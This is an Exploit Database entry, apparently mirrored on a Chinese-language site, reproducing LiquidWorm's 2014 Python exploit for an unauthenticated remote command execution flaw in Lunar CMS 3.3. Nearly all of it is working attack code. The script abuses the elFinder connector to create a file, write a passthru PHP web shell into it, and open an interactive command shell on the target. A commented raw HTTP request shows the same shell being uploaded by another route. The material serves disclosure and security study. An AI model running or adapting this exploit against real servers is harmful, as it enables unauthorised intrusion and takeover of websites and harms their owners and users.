Lunar CMS 3.3 – Remote Command Execution

• Exploit Database
• 7 阅读

• 作者： LiquidWorm
  日期： 2014-06-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/33867/

• #!/usr/bin/env python
  #
  #
  # Lunar CMS 3.3 Unauthenticated Remote Command Execution Exploit
  #
  #
  # Vendor: Lunar CMS
  # Product web page: http://www.lunarcms.com
  # Affected version: 3.3
  #
  # Summary: Lunar CMS is a freely distributable open source content
  # management system written for use on servers running the ever so
  # popular PHP5 & MySQL.
  #
  # Desc: Lunar CMS suffers from an unauthenticated arbitrary command
  # execution vulnerability. The issue is caused due to the improper
  # verification of elfinder's upload/create/rename function in the file
  # manager. This can be exploited to execute arbitrary PHP code by creating
  # or uploading a malicious PHP script file that will be stored in '/files'
  # directory.
  #
  # Tested on: Apache/2.4.7 (Win32)
  #PHP/5.5.6
  #MySQL 5.6.14
  #
  #
  # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  # @zeroscience
  #
  #
  # Advisory ID: ZSL-2014-5189
  # Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5189.php
  #
  # Vendor fix: http://lunarcms.com/Get.html
  #
  #
  # 11.06.2014
  #
  
  
  import cookielib, urllib
  import urllib2, sys, os
  
  piton = os.path.basename(sys.argv[0])
  
  if len(sys.argv) < 4:
  	print '\n\x20\x20[*] Usage: '+piton+' <hostname> <path> <filename.php>\n'
  	print '\x20\x20[*] Example: '+piton+' zeroscience.mk lunarcms backdoor.php\n'
  	sys.exit()
  
  host = sys.argv[1]
  path = sys.argv[2]
  fname = sys.argv[3]
  
  cj = cookielib.CookieJar()
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  
  create = opener.open('http://'+host+'/'+path+'/admin/includes/elfinder/php/connector.php?cmd=mkfile&name='+fname+'&target=l1_XA')
  #print create.read()
  
  payload = urllib.urlencode({
  							'cmd' : 'put',
  							'target' : 'l1_'+fname.encode('base64','strict'),
  							'content' : '<?php passthru($_GET[\'cmd\']); ?>'
  							})
  
  write = opener.open('http://'+host+'/'+path+'/admin/includes/elfinder/php/connector.php', payload)
  #print write.read()
  print '\n'
  while True:
  	try:
  		cmd = raw_input('shell@'+host+':~# ')
  
  		execute = opener.open('http://'+host+'/'+path+'/files/'+fname+'?cmd='+urllib.quote(cmd))
  		reverse = execute.read()
  		print reverse;
  		
  		if cmd.strip() == 'exit':
  			break
  
  	except Exception:
  		break
  
  sys.exit()
  
  
  #
  # Using the upload vector:
  #
  # POST /lc/admin/includes/elfinder/php/connector.php HTTP/1.1
  # Host: localhost
  # User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
  # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  # Accept-Language: en-US,en;q=0.5
  # Accept-Encoding: gzip, deflate
  # Referer: http://localhost/lc/admin/file_manager.php
  # Content-Length: 443
  # Content-Type: multipart/form-data; boundary=---------------------------156802976525302
  # Cookie: PHPSESSID=n37tnhsdfs1sgolum477jgqg33
  # Connection: keep-alive
  # Pragma: no-cache
  # Cache-Control: no-cache
  #
  # -----------------------------156802976525302
  # Content-Disposition: form-data; name="cmd"
  #
  # upload
  # -----------------------------156802976525302
  # Content-Disposition: form-data; name="target"
  #
  # l1_XA
  # -----------------------------156802976525302
  # Content-Disposition: form-data; name="upload[]"; filename="shell.php"
  # Content-Type: application/octet-stream
  #
  # <?php passthru($_GET['cmd']); ?>
  # -----------------------------156802976525302--
  #
  #